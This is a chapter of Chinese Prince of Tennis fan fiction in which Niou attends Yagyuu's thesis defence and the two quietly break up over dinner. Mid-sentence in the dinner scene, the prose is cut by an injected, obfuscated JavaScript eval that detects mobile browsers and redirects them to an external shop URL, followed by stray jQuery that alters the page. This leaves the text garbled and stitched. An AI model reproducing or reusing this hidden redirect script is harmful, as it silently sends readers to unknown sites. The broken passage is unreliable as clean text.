15.十五

作品:《[网王]旧日王冠

    仁王输给幸村时心情没有很糟。他对自己的实力心里有数,虽然有期望但不至于因为输掉一场比赛而情绪失控。和幸村握手以后他只是有些遗憾,但照旧放了狠话。


    当然,下一次会赢这种话也是真心的。仁王相信自己,对网球也含有足够的热情。


    并且换个角度来说,他已经将自己能赌的都摆上桌面,变作筹码了,所以他会继续往下拼,拼到流血流汗都没办法继续留在赛场的时候。


    赛后理疗的时候他和幸村约好了恢复双打训练的时间。之后的赛程两个人还没有正式讨论过,因为法网很重要所以之前的工作重心都放在法网上。之后的比赛要怎么参加还要看幸村在法网的成绩,以及打完法网之后的身体情况。总之他们不会安排太密集的赛事,因为之后最重要的赛事很显然是东京公开赛——那是他们的大本营。


    “我明天就走了,之后直接俱乐部见吧。”仁王说。


    幸村点头说好。


    而后仁王看了看自己的手机,想接下来就是下一个很重要的行程了——其实输掉比赛还是很不甘心的,他不想欺骗自己的内心,但能表现得如此淡然也是因为下一个行程同样重要,而这种重要多少对冲了情绪上的冲击力。


    ——两天后,是柳生的论文答辩。


    “真幸运。” 仁王想。


    如果比赛再拖一天,他可能就赶不上了。


    但或许这也不是幸运,毕竟仁王也说不好,自己到底希不希望自己错过柳生的毕业答辩。


    柳生不想让他来。


    这一点,仁王心知肚明。


    他问过三次,第一次是在视频通话里,柳生推了推眼镜,说:“答辩时间还没定。”第二次是在Line上,柳生回复:“具体安排要看导师。”第三次,他直接打了电话,柳生沉默了几秒,说:“仁王,专心比赛吧。”


    ——这就是拒绝。


    但仁王还是决定去。


    “这或许是最后的告别了。”


    仁王知道,他和柳生拖延已久的终局,终于无法再拖延下去了。而这也是被他摆上桌面变作筹码的部分。


    比赛结束后,他只参加了最基本的采访,然后和经纪人打了个招呼,就直奔机场。


    经纪人警告他不要太高调。


    仁王说和你想的不一样,而且我不会像以前那样了。


    经纪人叹了口气。


    旁听答辩需要提前申请,非本校学生甚至无法进入教学楼。仁王没打算硬闯,他只是从柳生的实验室师妹那里套出了时间和地点,然后等在了教学楼下。


    他带了一束花,不夸张,只是简单的白色满天星和浅蓝色绣球,用牛皮纸包着,像是随手从街角花店买来的。


    更年轻的时候他也搞过仪式感,像是电影,又像是漫画,柳生当时也是甘之如饴的。但总之,有些东西就像是“年轻”一样,过了就再也回不去了。


    柳生答辩结束后,和导师握了手,接受了同门的祝贺。他穿着深灰色的西装,领带系得一丝不苟,金丝眼镜下的眼神平静而克制。


    走下楼梯时,师弟妹们还在叽叽喳喳地围着他说话,柳生微微点头回应,然后——


    他看到了仁王。


    银发的男人靠在墙边,低头看着手机,似乎只是偶然路过。但在异国他乡的校园里,一个亚裔,一头显眼的银发,怎么可能不引人注目?


    柳生停住了脚步。


    ——他可以给自己找借口,说是因为仁王太显眼了。


    ——但他心里清楚,他只是……太在意仁王了。


    师弟妹们顺着他的视线看过去,友善地笑了笑,识趣地告别离开。柳生站在原地,看着仁王抬起头,对他晃了晃手里的花束。


    “恭喜毕业。”仁王说,语气轻松得像是在说“今天天气真好”。


    柳生沉默了两秒,接过花:“……谢谢。”


    他在心里想:“对我来说,毕业确实是值得恭喜的事。”


    “但对我们之间的关系……这似乎并不值得恭喜了。”


    为了避免媒体过度关注,他们没有去外面的餐厅。柳生带着仁王回了自己的公寓,仁王环顾四周,发现行李已经收拾了大半。


    “这个月房租结束我就会搬走。”柳生说,“回国的工作已经签好了。”


    仁王点了点头,没说话。


    柳生去厨房做饭,仁王就靠在门框上看着他。柳生的动作很熟练,切菜的节奏一丝不乱,就像他做任何事一样——精确、冷静、毫无破绽。


    ——可他们之间,早就满是裂痕了。


    许久以后,仁王才开口,声音里带着惯有的笑意,却又透着一丝疲惫:


    “所以,是要我先说出口吗?”


    柳生手上的动作顿了顿,然后继续切着番茄,声音平稳:“抱歉,虽然我也提前看到了结局,但也总会抱有微妙的期望。”


    仁王笑了:“Puri,撒谎。”


    “只有我擅长撒谎,比吕你则完全不擅长。”


    ——你根本没有抱有期望。


    ——而且,最开始也是你先透露出要结束的信号的。


    如果继续这个话题,他们或许会爆发争吵。比如——


    “虽然我给了信号,但那是我想要你将注意力更多转移到我身上的信号,而不是想要分开的信号。”


    比如——


    “归根到底,是你希望获得更多事业上的追求,而放掉了对我的给予。”


    比如——


    “感情总不可能长时间都由一个人奉献更多。”


    但争吵没有意义。


    他们都知道问题在哪——


    他们的未来,早已没有交集。


    仁王想要继续征战职业赛场,而柳生即将回国,成为一名医生。他们的人生轨迹,就像两条短暂相交的线,终究要朝着不同的方向延伸。


    感情本来就不能对比付出多少。但在无法均衡的情况下,走到这一步,仁王知道自己有责任。


    ——柳生也有。


    所以,他们同时避开了争吵,也避开了可能的、解决心结的机会。


    如果机会只有十死一生的概率,那他们都因为各自的骄傲和固执,选择了拖延。


    于是,机会就这样消失了。


    仁王看着柳生的背影,忽然觉得有些难过,却又有些释然。


    他叹了口气:“算了,比吕,收起你的期望吧。”


    “我接受不了异地恋,所以……”


    “也该分手了。”


    晚餐的餐桌上,气氛意外地平和。


    虽然已经说了分手,但两人都没有想象中的沉重。或许是因为这个结局早已在预料之中,又或许是因为他们早就习惯了彼此的存在——即使现在要分开了,那种熟悉感也不会轻易消散。


    仁王用叉子戳了戳盘子里的沙拉,抬眼看向柳生:“比吕,你做饭的手艺倒是没退步。”


    柳生推了推眼镜,淡淡道:“毕竟一个人生活久了。”


    “Puri,听起来像是在暗示我很少来。”


    “只是陈述事实。”柳生抬眸看他,“你这两


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17312973|197595||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    年确实很少来。”


    仁王耸耸肩,没反驳。


    ——因为这是事实。


    职业选手的赛程密集,而柳生的研究也进入关键阶段,两人见面的时间越来越少。从最初的一周一次视频通话,到后来一个月都未必能联系上一次。他们都知道这段关系在慢慢走向终点,只是谁都没有主动去戳破。


    而现在,终于说出口后,反而有种释然的感觉。


    “不过,至少现在可以好好吃顿饭。”仁王笑了笑,“不用再想着‘下次见面是什么时候’了。”


    柳生轻轻“嗯”了一声,低头喝了口汤。


    ——他们都知道,这是最后一顿了。


    以后,不会再有人跨越时差,只为一起吃一顿饭。


    也不会再有人明明很忙,却还是抽空回复一句“比赛加油”。


    这个人会从自己的生活里彻底消失。


    ——所以,哪怕只是强撑着维持这一刻的平静,也值得珍惜。


    沉默了一会儿,柳生突然开口:“仁王君,你总说柳讨厌你,但其实幸村他们也在讨厌我吧。”


    仁王眨了眨眼:“诶?”


    柳生放下勺子,语气平静:“‘我会影响你的比赛’,之类的心情。”


    仁王歪着头思考了一下,随后笑了:“幸村不会那样……不过我那么说柳也是在借题发挥,所以如果你也在借题发挥的话,那也可以认为幸村是那样。”


    柳生微微扬唇:“仁王君之前不会对幸村君说过,‘就算讨厌我也不要讨厌双打’,这样的话吧?”


    仁王又眨了眨眼。


    柳生叹了口气:“果然。每次都是这样,仁王君绝对是故意的吧。”


    “Puri?”


    “根本没人能和讨厌的人一起双打。”柳生看着他,“仁王君会那么说,根本就是算好了幸村君的心情。”


    仁王笑出声:“所以现在可以说真心话了啊,柳生。”


    柳生摇了摇头:“一直以来说的都是真心话。”


    他顿了顿,声音很轻:“虽然讨人厌,但也很有魅力。”


    “仁王君,对于我们之间的感情,我从来没有后悔过,反而会因为没办法继续而有遗憾……只是希望你知道这件事。”


    仁王愣住了。


    他张了张嘴,却发现自己一时不知道该说什么,最终只能再次眨了眨眼。


    柳生被他这副模样逗笑了,轻轻叹了口气:“其实我反而有遗憾过,当初轻易放弃了网球。”


    “不过,对我而言,医学上的追求才是从始至终的事业上的追求,网球是意外,是惊喜。”


    “所以,仁王君你也是。”


    ——你也是我生命里的意外和惊喜。


    仁王扯了扯自己的辫子,难得有些局促:“突然说这么多煽情的话啊。”


    “因为以后没机会说了吧。”柳生平静道,“仁王君应该不是分手以后还和会和前男友做朋友的人吧。”


    “虽然不会删掉联系方式,但我们以后的工作也没办法有交集,如果见面只在立海大的网球部聚会上,那我们没过多久就会变得陌生了。”


    仁王撇了撇嘴:“别这么想我啊,我和文太他们关系也一直很好。”


    “而且——”他拖长了语调,故意露出狡黠的笑容,“你难道以后都不打算看我的比赛了吗?我应该不至于沦落到,排名一直掉以至于国内体育频道都懒得转播我的比赛的程度吧。”


    柳生失笑。


    然后他想——


    是啊,不愧是仁王君。